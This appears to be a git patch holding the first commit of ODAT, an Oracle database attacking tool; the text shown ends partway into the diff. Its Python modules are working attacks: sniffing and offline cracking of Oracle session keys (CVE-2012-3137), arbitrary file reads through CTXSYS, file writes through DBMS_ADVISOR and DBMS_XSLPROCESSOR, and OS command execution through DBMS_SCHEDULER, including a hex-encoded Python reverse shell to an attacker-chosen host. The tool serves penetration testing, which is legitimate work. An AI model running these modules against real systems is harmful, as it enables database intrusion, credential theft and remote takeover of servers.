From cd78337f81b9b8c7e65109d439c97e204b5679bf Mon Sep 17 00:00:00 2001 From: Quentin HARDY Date: Wed, 25 Jun 2014 23:18:30 +0200 Subject: [PATCH 01/83] First Commit: Project ODAT --- CVE_2012_3137.py | 240 +++++++++++++++ Constants.py | 34 +++ Ctxsys.py | 174 +++++++++++ DbmsAdvisor.py | 75 +++++ DbmsScheduler.py | 184 ++++++++++++ DbmsXslprocessor.py | 74 +++++ DirectoryManagement.py | 87 ++++++ ExternalTable.py | 158 ++++++++++ Http.py | 151 ++++++++++ HttpUriType.py | 85 ++++++ Info.py | 62 ++++ Java.py | 281 ++++++++++++++++++ OracleDatabase.py | 284 ++++++++++++++++++ Oradbg.py | 85 ++++++ Output.py | 71 +++++ PasswordGuesser.py | 136 +++++++++ Passwords.py | 131 +++++++++ README.md | 479 +++++++++++++++++++++++++++++- SIDGuesser.py | 146 +++++++++ SMB.py | 16 + TODO.txt | 41 +++ Tnscmd.py | 90 ++++++ UsernameLikePassword.py | 73 +++++ Utils.py | 204 +++++++++++++ UtlFile.py | 322 ++++++++++++++++++++ UtlHttp.py | 114 +++++++ UtlTcp.py | 96 ++++++ accounts.txt | 488 ++++++++++++++++++++++++++++++ accounts_multiple.txt | 604 ++++++++++++++++++++++++++++++++++++++ accounts_small.txt | 131 +++++++++ createALinuxBinary.sh | 27 ++ odat-libc2.19-i686.spec | 22 ++ odat-libc2.19-x86_64.spec | 22 ++ odat.py | 373 +++++++++++++++++++++++ progressbar.py | 304 +++++++++++++++++++ sids.txt | 570 +++++++++++++++++++++++++++++++++++ testAllOdatModules.sh | 75 +++++ texttable.py | 591 +++++++++++++++++++++++++++++++++++++ tnscmd.py | 84 ++++++ 39 files changed, 7181 insertions(+), 3 deletions(-) create mode 100644 CVE_2012_3137.py create mode 100644 Constants.py create mode 100644 Ctxsys.py create mode 100644 DbmsAdvisor.py create mode 100644 DbmsScheduler.py create mode 100644 DbmsXslprocessor.py create mode 100644 DirectoryManagement.py create mode 100644 ExternalTable.py create mode 100644 Http.py create mode 100644 HttpUriType.py create mode 100644 Info.py create mode 100644 Java.py create mode 100644 OracleDatabase.py create mode 100644 Oradbg.py create mode 100644 Output.py create mode 100644 PasswordGuesser.py create mode 100644 Passwords.py create mode 100644 SIDGuesser.py create mode 100644 SMB.py create mode 100644 TODO.txt create mode 100644 Tnscmd.py create mode 100644 UsernameLikePassword.py create mode 100644 Utils.py create mode 100644 UtlFile.py create mode 100644 UtlHttp.py create mode 100644 UtlTcp.py create mode 100644 accounts.txt create mode 100644 accounts_multiple.txt create mode 100644 accounts_small.txt create mode 100755 createALinuxBinary.sh create mode 100644 odat-libc2.19-i686.spec create mode 100644 odat-libc2.19-x86_64.spec create mode 100755 odat.py create mode 100644 progressbar.py create mode 100644 sids.txt create mode 100755 testAllOdatModules.sh create mode 100644 texttable.py create mode 100644 tnscmd.py diff --git a/CVE_2012_3137.py b/CVE_2012_3137.py new file mode 100644 index 0000000..ce4f3a9 --- /dev/null +++ b/CVE_2012_3137.py @@ -0,0 +1,240 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +import logging, string, re, sys +from Utils import execSystemCmd, checkOptionsGivenByTheUser +from OracleDatabase import OracleDatabase +from time import sleep +import hashlib +from Crypto.Cipher import AES +from threading import Thread +from progressbar import * +from os import geteuid +from Constants import * + +#Load scapy without warnings +tempout = sys.stdout; temperr = sys.stderr +sys.stdout = open('/dev/null', 'w'); sys.stderr = open('/dev/null', 'w') +try: + from scapy.layers.inet import IP + from scapy import all as scapyall #sniff, IP, Raw + SCAPY_AVAILABLE = True +except ImportError: + SCAPY_AVAILABLE = False +logging.getLogger("scapy.runtime").setLevel(logging.ERROR) +sys.stdout = tempout; sys.stderr = temperr +if SCAPY_AVAILABLE == False : + logging.critical('You need to install python scapy !') + sys.exit(EXIT_MISS_MODULE) + +class CVE_2012_3137 (): + ''' + CVE-2012-3137 : to get remote passwords thanks to nmap + ''' + + sessionKey, salt = "", "" + + def __init__(self, args, accountsFile=None, timeSleep=0): + ''' + Constructor + ''' + logging.debug("CVE_2012_3137 object created") + self.MAX_PACKET_TO_CAPTURE=200 + self.TIMEOUT=5 + self.args=args + self.accountsFile = accountsFile + self.timeSleep = timeSleep + self.usernames = [] + if self.accountsFile != None : self.loadUsernames() + self.keys = [] + self.passwdFound = [] + self.separator = "|<->|" + + def __resetSessionKeyValueAndSalt__(self): + ''' + ''' + global sessionKey, salt + sessionKey, salt = "", "" + + def getKeys(self): + ''' + return keys + ''' + return self.keys + + def loadUsernames (self,separator = '/'): + ''' + load usernames from self.accountsFile + ''' + logging.info ("Loading usernames stored in {0}".format(self.accountsFile)) + f = open(self.accountsFile) + for l in f: + nl = l.replace('\n','').replace('\t','').split('/') + self.usernames.append(nl[0]) + f.close() + + def __sniff_sessionkey_and_salt__(self,ip=None,port=None): + ''' + To sniff the session key and the salt in an Oracle connection thanks to scapy + ''' + def customAction(packet): + global sessionKey, salt + if packet[0].haslayer(IP)==True and packet[1].src == ip : + #print packet.show() + if packet[2].haslayer(scapyall.Raw)==True: + raw = repr(packet[2].getlayer(scapyall.Raw).load) + if "AUTH_SESSKEY" in raw and "AUTH_VFR_DATA" in raw: + sessionKey = re.findall(r"[0-9a-fA-F]{96}" ,raw[raw.index("AUTH_SESSKEY"):raw.index("AUTH_VFR_DATA")]) + if sessionKey != [] : sessionKey = sessionKey[0] + salt = re.findall(r"[0-9a-fA-F]{22}" ,raw[raw.index("AUTH_VFR_DATA"):raw.index("AUTH_GLOBALLY_UNIQUE_DBID")]) + if salt != [] : salt = salt[0][2:] + return True + return False + self.__resetSessionKeyValueAndSalt__() + #print "Run with tcp and host {0} and port {1}".format(ip,port) + scapyall.sniff(filter="tcp and host {0} and port {1}".format(ip,port), count=self.MAX_PACKET_TO_CAPTURE, timeout=self.TIMEOUT, stop_filter=customAction,store=False) + return sessionKey, salt + + def __try_to_connect__(self,args): + ''' + ''' + import cx_Oracle + try: + cx_Oracle.connect("{0}/{1}@{2}:{3}/{4}".format(self.args['user'],self.args['password'],self.args['server'],self.args['port'],self.args['sid'])) + except Exception, e: + pass + + def getAPassword(self,user): + ''' + ''' + logging.debug("Sniffing is running in a new thread") + a = Thread(None, self.__sniff_sessionkey_and_salt__, None, (), {'ip':self.args['server'],'port':self.args['port']}) + a.start() + sleep(3) + logging.debug("Connection to the database via a new thread") + self.args['user'], self.args['password'] = user, 'a' + b = Thread(None, self.__try_to_connect__, None, (), {'args':self.args}) + b.start() + b.join() + a.join() + return "","" + + + def getPasswords(self): + ''' + get passwords + ''' + logging.info ("Getting remote passwords of {0} users".format(len(self.usernames))) + pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=len(self.usernames)).start(), 0 + for user in self.usernames: + logging.info("Try to get the session key and salt of the {0} user".format(user)) + self.getAPassword(user) + nb += 1 + pbar.update(nb) + if sessionKey != '' and salt != '': + key = "{0}{3}{1}{3}{2}".format(user,sessionKey, salt,self.separator) + self.keys.append(key) + logging.debug("Key found: {0}".format(key)) + sleep(self.timeSleep) + pbar.finish() + + + def decryptKeys(self, sessionFile, passwdFile): + ''' + decrypt keyx + ''' + def __decryptKey__(session,salt,password): + pass_hash = hashlib.sha1(password+salt) + key = pass_hash.digest() + '\x00\x00\x00\x00' + decryptor = AES.new(key,AES.MODE_CBC,'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00') + plain = decryptor.decrypt(session) + return plain + + #Nb sessions + fsession, nbsession = open(sessionFile), 0 + for l in fsession: nbsession+=1 + fsession.close() + logging.info("{0} sessions in the {1} file".format(nbsession,sessionFile)) + #Nb Passwds + fpasswds, nbpasswds = open(passwdFile), 0 + for l in fpasswds: nbpasswds+=1 + fpasswds.close() + logging.info("{0} passwords in the {1} file".format(nbpasswds,passwdFile)) + if nbpasswds == 0 : + logging.critical("No password in the {0} file".format(passwdFile)) + return [] + elif nbsession == 0: + logging.critical("No session in the {0} file".format(sessionFile)) + return [] + else : + fsession = open(sessionFile) + for session in fsession: + user, session_hex, salt_hex = session.replace('\n','').replace('\t','').split(self.separator) + self.args['print'].subtitle("Searching the password of the {0} user".format(user)) + fpasswd = open(passwdFile) + pbar,nb = ProgressBar(widgets=['', Percentage(), ' ', Bar(),' ', ETA(), ' ',''], maxval=nbpasswds).start(), 0 + for password in fpasswd: + nb +=1 + pbar.update(nb) + password = password.replace('\n','').replace('\t','') + session_id = __decryptKey__(session_hex.decode('hex'),salt_hex.decode('hex'),password) + if session_id[40:] == '\x08\x08\x08\x08\x08\x08\x08\x08': + self.passwdFound.append([user,password]) + self.args['print'].goodNews("{0} password:{1}".format(user,password)) + fpasswd.close() + break + fpasswd.close() + pbar.finish() + fsession.close() + return self.passwdFound + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("CVE-2012-3137 library ?") + self.args['print'].unknownNews("I can't know if it is vulnerable") + + +def runCVE20123137Module(args): + ''' + Run the CVE_2012_3137 module + ''' + if checkOptionsGivenByTheUser(args,["test-module","get-all-passwords","decrypt-sessions"],checkAccount=False) == False : return EXIT_MISS_ARGUMENT + cve = CVE_2012_3137 (args, accountsFile=args['user-list'], timeSleep=args['timeSleep']) + if args['test-module'] == True : + cve.testAll() + #Option 1: get all passwords + if args['get-all-passwords'] != None: + print + if geteuid() != 0: + args['print'].badNews("Sorry, you need to run this as root because I need to sniff authentications to the database") + else: + args['print'].title("Getting remote passwords on the {0} server, port {1}".format(args['server'],args['port'])) + cve.getPasswords() + keys = cve.getKeys() + if keys != []: + args['print'].goodNews("Here are keys:\n\n{0}".format('\n'.join(keys))) + filename = "sessions-{0}-{1}-{2}{3}".format(args['server'],args['port'],args['sid'],CHALLENGE_EXT_FILE) + f = open(filename,"w") + f.write('\n'.join(keys)) + f.close() + args['print'].goodNews("Sessions strored in the {0} file.".format(filename)) + else : + args['print'].badNews("Impossible to exploit this vulnreability") + #Option 2: decrypt sessions + if args['decrypt-sessions'] != None: + args['print'].title("Decrypt sessions stored in {0} via {1}".format(args['decrypt-sessions'][0],args['decrypt-sessions'][1])) + passwds = cve.decryptKeys(args['decrypt-sessions'][0], args['decrypt-sessions'][1]) + if passwds != []: + passwordsStr = "" + for e in passwds : + passwordsStr +='{0}:{1}\n'.format(e[0],e[1]) + args['print'].goodNews("Accounts found:\n{0}".format(passwordsStr)) + else: + args['print'].badNews("No password has been found") + + + + + diff --git a/Constants.py b/Constants.py new file mode 100644 index 0000000..80f3391 --- /dev/null +++ b/Constants.py @@ -0,0 +1,34 @@ +import string + +DESCRIPTION = ""\ +""" + _ __ _ ___ + / \| \ / \|_ _| + ( o ) o ) o || | + \_/|__/|_n_||_| +------------------------------------------- + _ __ _ ___ + / \ | \ / \ |_ _| +( o ) o ) o | | | + \_/racle |__/atabase |_n_|ttacking |_|ool +------------------------------------------- + +By Quentin Hardy (quentin.hardy@bt.com or qhardyfr@gmail.com) +""" +CURRENT_VERSION = "Version 1.0 - 2014/06/26" +DEFAULT_SID_MAX_SIZE = 2 +MAX_HELP_POSITION=60 +DEFAULT_SID_FILE = "sids.txt" +DEFAULT_ACCOUNT_FILE = "accounts.txt" +DEFAULT_TIME_SLEEP = 0 +DEFAULT_SID_CHARSET = string.ascii_uppercase +EXIT_NO_SIDS = 100 +EXIT_NO_ACCOUNTS = 101 +EXIT_BAD_CONNECTION = 102 +EXIT_BAD_CMD_PARAMETER = 103 +EXIT_MISS_ARGUMENT = 104 +EXIT_MISS_MODULE = 105 +ALL_IS_OK=0 +TIMEOUT_VALUE = 5 +PASSWORD_EXTENSION_FILE = ".odat.save" +CHALLENGE_EXT_FILE = ".odat.challenge" diff --git a/Ctxsys.py b/Ctxsys.py new file mode 100644 index 0000000..e41e81c --- /dev/null +++ b/Ctxsys.py @@ -0,0 +1,174 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging,cx_Oracle +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * + +class Ctxsys (OracleDatabase): + ''' + Allow to use CTXSYS remotly + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("Ctxsys object created") + OracleDatabase.__init__(self,args) + self.tableName = self.__generateRandomString__() + self.indexName = self.__generateRandomString__() + + def __giveTheCxsysPriv__(self, user): + ''' + Give the CTXSYS priv to the user with, for exemple: + exec ctxsys.ctx_adm.set_parameter('file_access_role', 'public') + ''' + logging.info('Try to give the file_access_role privilege to the current user') + parameters = {'param_name':'file_access_role','param_value':user} + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc(name="ctxsys.ctx_adm.set_parameter",keywordParameters=parameters) + except Exception,e: + logging.info('Error with ctxsys.ctx_adm.set_parameter{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + return True + + def __createTable__(self): + ''' + Create table name with, for exemple: + CREATE TABLE rf1 (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6)); + ''' + logging.info('Create the table: {0}'.format(self.tableName)) + query = "CREATE TABLE {0} (id NUMBER PRIMARY KEY, path VARCHAR(255) UNIQUE, ot_format VARCHAR(6))".format(self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __dropTable__(self): + ''' + Drop the table with, for exemple + DROP TABLE my_table PURGE; + ''' + logging.info('Drop the table: {0}'.format(self.tableName)) + query = "DROP TABLE {0} PURGE".format(self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __insertFileInTable__(self,fn): + ''' + Insert into the table the file path with, for exemple: + INSERT INTO rf1 VALUES (1, 'c:\temp.txt', NULL); + ''' + logging.info('Insert the following file path in the {0} table: {1}'.format(self.tableName,fn)) + query = "INSERT INTO {0} VALUES (1, '{1}', NULL)".format(self.tableName,fn) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __createIndexToFile__(self): + ''' + Create an index to the file + CREATE INDEX fi1 ON rf1(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format'); + ''' + logging.info('Create an index named {0} to the file'.format(self.indexName)) + query = "CREATE INDEX {0} ON {1}(path) INDEXTYPE IS ctxsys.context PARAMETERS ('datastore ctxsys.file_datastore format column ot_format')".format(self.indexName,self.tableName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __dropIndexToFile__(self): + ''' + Drop index to the file + DROP INDEX myindex; + ''' + logging.info('Drop the index named {0}'.format(self.indexName)) + query = "DROP INDEX {0}".format(self.indexName) + response = self.__execThisQuery__(query=query,isquery=False) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : return True + + def __getDataFromIndex__(self): + ''' + Get data stored in file from the index + ''' + logging.info('Get data stored in the file from the {0} index'.format(self.indexName)) + query = "Select token_text from dr${0}$i".format(self.indexName) + response = self.__execQuery__(query=query,ld=['token_text']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return response + else : + if response == []: return '' + else: + data = '' + for e in response : data += str(e['token_text']) + '\n' + return data + + def readAFile (self,nameFile): + ''' + read a file on the remote server + ''' + logging.info('Read the {0} file'.format(nameFile)) + status = self.__giveTheCxsysPriv__('public') + status = self.__createTable__() + if isinstance(status,Exception) : return status + status = self.__insertFileInTable__(nameFile) + if isinstance(status,Exception) : return status + status = self.__createIndexToFile__() + if isinstance(status,Exception) : return status + data = self.__getDataFromIndex__() + if data == '' : logging.info("The file is empty or it doesn't exist") + self.__dropIndexToFile__() + self.__dropTable__() + return data + + def testAll (self): + ''' + Test all functions + ''' + self.args['print'].subtitle("CTXSYS library ?") + logging.info("Try to read a random file with CTXSYS library") + nameFile = self.__generateRandomString__() + response = self.readAFile(nameFile) + if response == '': + self.args['print'].goodNews("OK") + return True + else : + logging.info('Not enough privileges: {0}'.format(str(response))) + self.args['print'].badNews("KO") + return False + +def runCtxsysModule(args): + ''' + Run the CTXSYS module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","getFile"]) == False : return EXIT_MISS_ARGUMENT + ctxsys = Ctxsys(args) + status = ctxsys.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSScheduler library can be used") + status = ctxsys.testAll() + #Option 1: read file + if args['getFile'] !=None : + args['print'].title("Read the {0} file on the {1} server".format(args['getFile'],args['server'])) + data = ctxsys.readAFile(args['getFile']) + if isinstance(data,Exception): + args['print'].badNews("Impossible to read the {0} file: {1}".format(args['getFile'],data)) + else : + if data == '' : args['print'].goodNews("The {0} file is empty or it doesn't exist".format(args['getFile'])) + else : args['print'].goodNews("Data stored in the {0} file (escape char replace by '\\n'):\n{1}".format(args['getFile'],data)) + + diff --git a/DbmsAdvisor.py b/DbmsAdvisor.py new file mode 100644 index 0000000..e57dc9c --- /dev/null +++ b/DbmsAdvisor.py @@ -0,0 +1,75 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class DbmsAdvisor (DirectoryManagement): + ''' + Allow the user to write file on the remote database system with DBMS_ADVISOR + Becareful: External job actions cannot contain redirection operators + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmsAdvisor object created") + DirectoryManagement.__init__(self,args) + + def putFile (self, remotePath, remoteNameFile, data=None, localFile=None): + ''' + Put a file on the remote database server + ''' + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.critical("To put a file, choose between a localFile or data") + if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) + else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + if localFile != None : + data = self.__loadFile__(localFile) + response = self.__execProc__("dbms_advisor.create_file",options=(data, self.directoryName, remoteNameFile)) + if isinstance(response,Exception): + logging.info("Impossible to create a file with dbms_advisor: {0}".format(self.cleanError(response))) + return response + return True + + def testAll (self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("DBMSADVISOR library ?") + logging.info("Simulate the file creation in the {0} folder with DBMSAdvisor".format(folder)) + logging.info('The file is not created remotly because the folder should not exist') + status = self.putFile(folder,'temp.txt',data='data in file') + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runDbmsadvisorModule(args): + ''' + Run the DBMSAdvisor module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","putFile"]) == False : return EXIT_MISS_ARGUMENT + dbmsAdvisor = DbmsAdvisor(args) + status = dbmsAdvisor.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSAdvisor library can be used") + status = dbmsAdvisor.testAll() + #Option 1: putLocalFile + if args['putFile'] != None: + args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) + status = dbmsAdvisor.putFile(args['putFile'][0], args['putFile'][1],localFile=args['putFile'][2]) + if status == True: + args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1])) + else : + args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status))) + dbmsAdvisor.close() + + diff --git a/DbmsScheduler.py b/DbmsScheduler.py new file mode 100644 index 0000000..a80a624 --- /dev/null +++ b/DbmsScheduler.py @@ -0,0 +1,184 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from OracleDatabase import OracleDatabase +import logging, cx_Oracle, subprocess +from Utils import ErrorSQLRequest, checkOptionsGivenByTheUser +from Constants import * +from time import sleep +from threading import Thread + +class DbmsScheduler (OracleDatabase): + ''' + Allow the user to execute a command on the remote database system with DBMS_SCHEDULER + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmSscheduler object created") + OracleDatabase.__init__(self,args) + self.jobName = None + + def __createJob__(self,cmd): + ''' + Create a job for DBMS_SCHEDULER + Be Careful: Special chars are not allowed in the command line + ''' + logging.info('Create a job named {0}'.format(self.jobName)) + splitCmd = cmd.split() + parameters = {'job_name':self.jobName,'job_type':'EXECUTABLE','job_action':splitCmd[0],'number_of_arguments':len(splitCmd)-1,'auto_drop':False} + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc(name="DBMS_SCHEDULER.create_job",keywordParameters=parameters) + except Exception,e: + logging.info('Error with DBMS_SCHEDULER.create_job:{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + else : + for pos,anArg in enumerate(splitCmd): + if pos!=0: + parameters = {'job_name':self.jobName,'argument_position':pos,'argument_value':anArg} + try : + cursor.callproc(name="DBMS_SCHEDULER.set_job_argument_value",keywordParameters=parameters) + except Exception,e: + logging.info('Error with DBMS_SCHEDULER.set_job_argument_value:{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + return True + + def __runJob__(self): + ''' + run the job named self.jobName + ''' + logging.info('Run the job') + cursor = cx_Oracle.Cursor(self.args['dbcon']) + try : + cursor.callproc(name="DBMS_SCHEDULER.enable",keywordParameters={'name':self.jobName}) + except Exception,e: + logging.info('DBMS_SCHEDULER.enable:{0}'.format(self.cleanError(e))) + return ErrorSQLRequest(e) + return True + + def __getJobStatus__(self): + ''' + Get the job status from user_scheduler_job_log table + return Exception if error + return False : the job is not created or job is running + return Exception: there is an exception + return string if NOT SUCCESS + return True if SUCCESS + ''' + sleep(3) + query = "SELECT status, additional_info FROM USER_SCHEDULER_JOB_RUN_DETAILS WHERE job_name = '{0}'".format(self.jobName) + response = self. __execThisQuery__(query=query,ld=['status','additional_info']) + if isinstance(response,Exception) : + logging.info('Error with the SQL request {0}: {1}'.format(query,str(response))) + return ErrorSQLRequest(response) + if response == [] : + self.args['print'].goodNews("The Job is running") + return False + elif response[0]['status'] == "FAILED" : + self.args['print'].badNews("The Job has failed: {0}".format(response[0]['additional_info'])) + str(response[0]['additional_info']) + return False + else : + self.args['print'].goodNews("The Job is finish") + return True + + def execOSCommand(self,cmd): + ''' + Execute an OS command on the remote database system + Example: + exec DBMS_SCHEDULER.CREATE_JOB(job_name=>'J1226',job_type=>'EXECUTABLE',number_of_arguments=>3,job_action =>'/bin/ping',auto_drop=>FALSE); + exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',1,'-c'); + exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',2,'2'); + exec DBMS_SCHEDULER.SET_JOB_ARGUMENT_VALUE('J1226',3,'192.168.56.1'); + exec DBMS_SCHEDULER.ENABLE('J1226'); + select log_id, log_date, job_name, status, error#, additional_info from dba_scheduler_job_run_details where job_name ='J1226'; + ''' + self.jobName = self.__generateRandomString__(nb=20) + logging.info('Execute the following command on the remote database system: {0}'.format(cmd)) + logging.info('Be Careful: Special chars are not allowed in the command line') + status = self.__createJob__(cmd) + if isinstance(status,Exception): return status + status = self.__runJob__() + if isinstance(status,Exception): return status + return True + + def __runListenNC__ (self,port=None): + ''' + nc listen on the port + ''' + try : + subprocess.call("nc -l -v {0}".format(port), shell=True) + except KeyboardInterrupt: pass + + def giveReverseShell(self, localip, localport): + ''' + Give a reverse tcp shell via nc + Need upload nc.exe if the remote system is windows + ''' + if self.remoteSystemIsWindows() == True : + logging.info('The remote system is windows. I will upload the nc.exe binary on the remote server to give you a reverse shell') + pass + elif self.remoteSystemIsLinux() == True : + PYTHON_CODE = """import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("{0}",{1}));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);""".format(localip, localport) + CMD = '''/usr/bin/python -c exec('{0}'.decode('hex'))'''.format(PYTHON_CODE.encode('hex')) + #PYTHON_CODE = "import commands;f=open('/tmp/bt.txt','w');tmp=commands.getstatus('/bin/ls');f.write(tmp);f.close();" + #CMD = '''/usr/local/python -c exec('{0}'.decode('hex'))'''.format(PYTHON_CODE.encode('hex')) + #CMD = '''/usr/bin/wget 184.0.87.238:1234''' + self.args['print'].goodNews("The python reverse shell tries to connect to {0}:{1}".format(localip,localport)) + a = Thread(None, self.__runListenNC__, None, (), {'port':localport}) + a.start() + try : + self.execOSCommand(cmd=CMD) + except KeyboardInterrupt: + self.args['print'].goodNews("Connection closed") + self.__getJobStatus__() + else : + logging.error("The remote server OS ({0}) is unknown".format(self.remoteOS.lower())) + + def testAll (self): + ''' + Test all functions + ''' + command = self.__generateRandomString__() + self.args['print'].subtitle("DBMSSCHEDULER library ?") + logging.info("Try to use the DBMScheduler library to execute the following random command: {0}".format(command)) + status = self.execOSCommand(cmd=command) + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + + +def runDbmsSchedulerModule(args): + ''' + Run the DBMSAdvisor module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","exec","reverse-shell"]) == False : return EXIT_MISS_ARGUMENT + dbmsScheduler = DbmsScheduler(args) + status = dbmsScheduler.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSScheduler library can be used") + status = dbmsScheduler.testAll() + #Option 1: exec + if args['exec'] != None: + args['print'].title("Execute the `{0}` on the {1} server".format(args['exec'],args['server'])) + status = dbmsScheduler.execOSCommand(args['exec']) + if status == True: + args['print'].goodNews("The `{0}` command was executed on the {1} server".format(args['exec'],args['server'])) + else : + args['print'].badNews("The `{0}` command was not executed on the {1} server: {2}".format(args['exec'],args['server'],str(status))) + dbmsScheduler.__getJobStatus__() + #Option 2: reverse shell + if args['reverse-shell'] != None : + args['print'].title("Try to give you a reverse shell from the {0} server".format(args['server'])) + dbmsScheduler.giveReverseShell(localip=args['reverse-shell'][0],localport=args['reverse-shell'][1]) + dbmsScheduler.close() + + + + + + diff --git a/DbmsXslprocessor.py b/DbmsXslprocessor.py new file mode 100644 index 0000000..d10b783 --- /dev/null +++ b/DbmsXslprocessor.py @@ -0,0 +1,74 @@ +#!/usr/bin/python +# -*- coding: utf-8 -*- + +from DirectoryManagement import DirectoryManagement +import logging, random, string +from Utils import checkOptionsGivenByTheUser +from Constants import * + +class DbmsXslprocessor (DirectoryManagement): + ''' + Allow the user to write file on the remote database system with DbmsXslprocessor + ''' + def __init__(self,args): + ''' + Constructor + ''' + logging.debug("DbmsXslprocessor object created") + DirectoryManagement.__init__(self,args) + + def putFile (self, remotePath, remoteNameFile, data=None, localFile=None): + ''' + Put a file on the remote database server + Exemple : CREATE OR REPLACE DIRECTORY XML_DIR AS 'C:\temp\'; + exec dbms_xslprocessor.clob2file('dede', 'XML_DIR','outfile.txt'); + ''' + if (localFile == None and data==None) or (localFile != None and data!=None): + logging.critical("To put a file, choose between a localFile or data") + if data==None : logging.info('Copy the {0} file to the {1} remote path like {2}'.format(localFile,remotePath,remoteNameFile)) + else : logging.info('Copy this data : `{0}` in the {2} in the {1} remote path'.format(data,remotePath,remoteNameFile)) + self.__setDirectoryName__() + status = self.__createOrRemplaceDirectory__(remotePath) + if isinstance(status,Exception): return status + if localFile != None : + data = self.__loadFile__(localFile) + response = self.__execProc__("dbms_xslprocessor.clob2file",options=(data, self.directoryName, remoteNameFile)) + if isinstance(response,Exception): + logging.info("Impossible to create a file with dbms_xslprocessor: {0}".format(self.cleanError(response))) + return response + return True + + def testAll (self): + ''' + Test all functions + ''' + folder = self.__generateRandomString__() + self.args['print'].subtitle("DBMS_XSLPROCESSOR library ?") + logging.info("Simulate the file creation in the {0} folder with DBMS_XSLPROCESSOR".format(folder)) + logging.info('The file is not created remotly because the folder should not exist') + status = self.putFile(folder,'temp.txt',data='data in file') + if status == True or self.ERROR_BAD_FOLDER_OR_BAD_SYSTEM_PRIV in str(status): + self.args['print'].goodNews("OK") + else : + self.args['print'].badNews("KO") + +def runDbmsXslprocessorModule(args): + ''' + Run the DbmsXslprocessor module + ''' + status = True + if checkOptionsGivenByTheUser(args,["test-module","putFile"]) == False : return EXIT_MISS_ARGUMENT + dbmsXslprocessor = DbmsXslprocessor(args) + status = dbmsXslprocessor.connection(stopIfError=True) + if args['test-module'] == True : + args['print'].title("Test if the DBMSAdvisor library can be used") + status = dbmsXslprocessor.testAll() + #Option 1: putLocalFile + if args['putFile'] != None: + args['print'].title("Put the {0} local file in the {1} path (named {2}) of the {3} server".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],args['server'])) + status = dbmsXslprocessor.putFile(args['putFile'][0], args['putFile'][1],localFile=args['putFile'][2]) + if status == True: + args['print'].goodNews("The {0} local file was put in the remote {1} path (named {2})".format(args['putFile'][2],args['putFile'][0],args['putFile'][1])) + else : + args['print'].badNews("The {0} local file was not put in the remote {1} path (named {2}): {3}".format(args['putFile'][2],args['putFile'][0],args['putFile'][1],str(status))) + dbmsXslprocessor.close() diff --git a/DirectoryManagement.py b/DirectoryManagement.py new file mode 100644 index 0000000..55f24ef --- /dev/null +++ 